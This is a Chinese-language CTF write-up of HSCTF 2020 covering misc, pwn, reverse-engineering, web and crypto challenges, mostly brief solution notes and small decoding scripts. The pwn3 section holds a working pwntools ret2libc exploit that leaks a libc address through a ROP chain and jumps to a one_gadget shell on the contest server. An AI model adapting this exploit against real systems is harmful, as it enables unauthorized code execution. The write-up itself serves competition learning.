HSCTF WP ——Lun4R

title: HSCTF WP ——Lun4R
date: 2020-06-06
categories:

wp
tags:
HSCTF

和小伙伴们一起做了一下HSCTF，这竟然是给高中举办的CTF比赛。MISC思路是非常新颖啊。。。

MISC

My First Calculator

CNC

恢复数据，导出文件，在mp4最后发现part3

压缩包有密码，在表格中发现密码 passw0rd

Glad Bags

一个ELF

发现7z压缩包，提取出来，发现是个项目emmm

Mad Libs

stegsolve跑一遍发现红绿蓝色道最低位位平面上方存在隐写，data extract直接出flag

Comments

下载下来是一个压缩包

一层压缩包注释就有一位flag

Meta Mountains

查看图片属性直接拿flag

N-95

修成这样以后就没得办法了……25 x 25应该是没跑的

直接去网站识别就行了，残缺的部分涂成灰的

Emojis

?????
?????
?????
?????
?????
?????
?????
?????
?????
?????
?????
?????
??????
?????
????
????
????
????
????
????
?????
?????
?????
??????
????
????
????
?????
?????
????
??????
????
????
?????
?????
????
????
?????
????
?????
????
????
????
????
?????
????
?????              
?????
?????
?????
?????
?????
?????
?????
?????
?????
?????
?????
??????

深奥的编程语言。跟鬼一样。。。
我去找找

https://www.emojicode.org/
这个比较像c。。不是这个

https://esolangs.org/wiki/Emoji
https://github.com/vpzomtrrfrt/emoji.py
也不像

https://esolangs.org/wiki/DubDubMachine
Brainfuck derivatives
还是不像
也不是
https://esolangs.org/wiki/EmojiCoder
找到了找到了
https://esolangs.org/wiki/Emoji-gramming

这24个是变量名

??是输入

??是输出

看逻辑

if???
sub??
if??
MOV??
sub??
ADD??
if??
MOV???
sub?8
MOV???
MOV????
ADD??
sub??
ADD??
ADD?4
ADD?2
if??
MOV????
if??
ADD??
ADD?1
sub?8
ADD??
sub??
if?4
ADD??
ADD?8
sub??
sub??
ADD??
sub??
if?0
sub??

改成人稍微能看懂点的。。。

a=input()
b=input()
c=input()
d=input()
e=input()
f=input()
g=input()
h=input()
i=input()
j=input()
k=input()
l=input()
E=input()
if(b != E):
	l=l-a
if(b != f):
	c=h
b=b-e
j=j+g
if(e！=j):
	A=d
c=c-8
d=E
E=A
b=b+h
b=b-d
a=a+1
c=c+4
d=d+2
#if(d!=f):
if(e!=j):
	e=e+j
l=l+1
k=k-8
h=h+i
f=f-g
if(k!=4):
	g=g+i
i=i+8
a=a-c
e=e-l
c=c+c
h=h-l
if(k!=0):
	j=j-b
#print(abcdefjhijklE)
#xB^r_En}INc4v

逆算法

s="xB^r_En}INc4v"
a=ord(s[0])
b=ord(s[1])
c=ord(s[2])
d=ord(s[3])
e=ord(s[4])
f=ord(s[5])
g=ord(s[6])
h=ord(s[7])
i=ord(s[8])
j=ord(s[9])
k=ord(s[10])
l=ord(s[11])
E=ord(s[12])

if(k!=0):
    j=j+b
h=h+l
c=c/2
e=e+l
a=a+c
i=i-8
#print(k)
if(k!=4):
    g=g-i
f=f+g
h=h-i
k=k+8
l=l-1
print(e,j)
if(e-j!=j):
    e=e-j
d=d-2
c=c-4
a=a-l
b=b+d
b=b-h
A=E
E=d
d=A
c=c+8
#print(e,f)
j=j-g
b=b+e
#print(b,f)
if(b!=f):
    h=c
if(b!=E):
    l=l+a
print(a,b,c,d,e,f,j,h,i,j,k,l,E)
#116.0 69 51.0 118 3 114 99 51.0 65 99 107 167.0 112

evil stego

肯定找最简单的下手

Uk9UMTM/IEknbSBnZXR0aW5nIGJhc2U2NCBlbmNvZGVkIQo=
ROT13? I'm getting base64 encoded!

显然rot13

Lbh'er trggvat NRF juvyr V bayI trg EBG13?
You're getting AES while I onlV get ROT13?

Pwn

pwn1

直接NC

pwn2

远程偏移0xd0

pwn3

from pwn import *

from LibcSearcher import *

p=process('./pwnagotchi')

context.log_level='debug'

p=remote('pwn.hsctf.com',5005)

p.recvuntil('name: \n')

pad='a'*20

pop_rdi=0x00000000004009f3

puts_plt=4195932

puts_got=6295576

main=0x400846

func1=0x4007e7

func2=0x400801

gdb.attach(p)

payload=pad+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(func1)+p64(func2)+p64(main)

p.sendline(payload)

p.recvuntil('!\n')

addr=u64(p.recv(6).ljust(8,'\x00'))

libc = LibcSearcher('puts',addr)

libc_base=addr-libc.dump('puts')

print "libc_base:" +hex(libc_base)

p.recvuntil('name: \n')

gdb.attach(p)

payload2=pad+p64(libc_base+0x4f2c5)#one_gadget

p.send(payload2)

p.interactive()

re

re1

c='inagzgkpm)Wl&Tg&io'

c1=''

for i in range(len(c)):

c1+=chr(ord(c[i])+i)

print (c1)

c2=''

for b in range(len(c1)):

for i in range(0x20,0x7e):

if((i+len(str(int(i))))==ord(c1[b])):

c2+=chr(i)

print (c2)re2

import java.util.Scanner;
public class re {
    public static void main(String[] args) {
        String inp = "1dd3|y_3tttb5g`q]^dhn3j";
        for (int i = 0; i < 3; i++) {
            inp = xor(inp);
            inp = re(inp);
        }
        System.out.print(inp);
    }

    public static String xor(String input) {
        int[] xor = {4, 1, 3, 1, 2, 1, 3, 0, 1, 4, 3, 1, 2, 0, 1, 4, 1, 2, 3, 2, 1, 0, 3};
        String ret = "";
        for (int i = 0; i < input.length(); i++) {
            ret += (char) (input.charAt(i) ^ xor[i]);
        }
        return ret;
    }
    public static String re(String input) {
        char[] arr=new char[23];
        String ret = "";
        int[] transpose = {11,18,15,19,8,17,5,2,12,6,21,0,22,7,13,14,4,16,20,1,3,10,9};
        String flag ="";
        for(int i=0;i<23;i++){
            /*System.out.print(transpose[i]);*/
            arr[transpose[i]] =input.charAt(i);
        }
        System.out.print(arr);
        for (int a = 0; a< 23; a++) {
            System.out.print(a);
            ret+=arr[a] ;
        }
        return ret;
    }
//flag{n0t_t00_b4d_r1ght}

too-much

输入的数没有正负判断，导致下溢

from pwn import *

context.log_level='debug'

p=remote('rev.hsctf.com',9001)

p.interactive()

sned -1 -2

发送后会收到一大串内容，flag就在其中

recv 102 108 97 103 123 116 111 111 95 109 117 99 104 95 116 111 95 104 97 110 100 108 101 125 10

解密flag

a=[102,108,97,103,123,116,111,111,95,109,117,99,104,95,116,111,95,104,97,110,100,108,101,125]

flag=''

for i in range(len(a)):

flag+=chr(a[i])

print(flag)

flag{too_much_to_handle}

Web

Blurry Eyes

f12直接拿flag

Debt Simulator

查看执行的js脚本发现每次Next Round都会向这个URL发出请求

访问这个URL发现

在下一次发包时抓包，把func参数改getgetgetgetgetgetgetgetgetFlag即可拿到flag

CRYPT

xorred

Key1 = 0x5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533
a= 0x9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b
d= 0x557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05
c= 0x7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb
b = 0x996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a
e= 0x306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139

key3=Key1^a
Key4=key3^b
Key5=c^Key1^Key4
Key2=d^key3^Key5
flag=e^Key1^Key2^key3^Key4^Key5

print(hex(flag))

WriteUp

HSCTF WP ——Lun4R

MISC

My First Calculator

CNC

Glad Bags

Mad Libs

Comments

Meta Mountains

N-95

Emojis

evil stego

Pwn

pwn1

pwn2

pwn3

p=process('./pwnagotchi')

gdb.attach(p)

gdb.attach(p)

re

re1

print (c2)re2

too-much

sned -1 -2

recv 102 108 97 103 123 116 111 111 95 109 117 99 104 95 116 111 95 104 97 110 100 108 101 125 10

flag{too_much_to_handle}

Web

Blurry Eyes

Debt Simulator

CRYPT

xorred

相关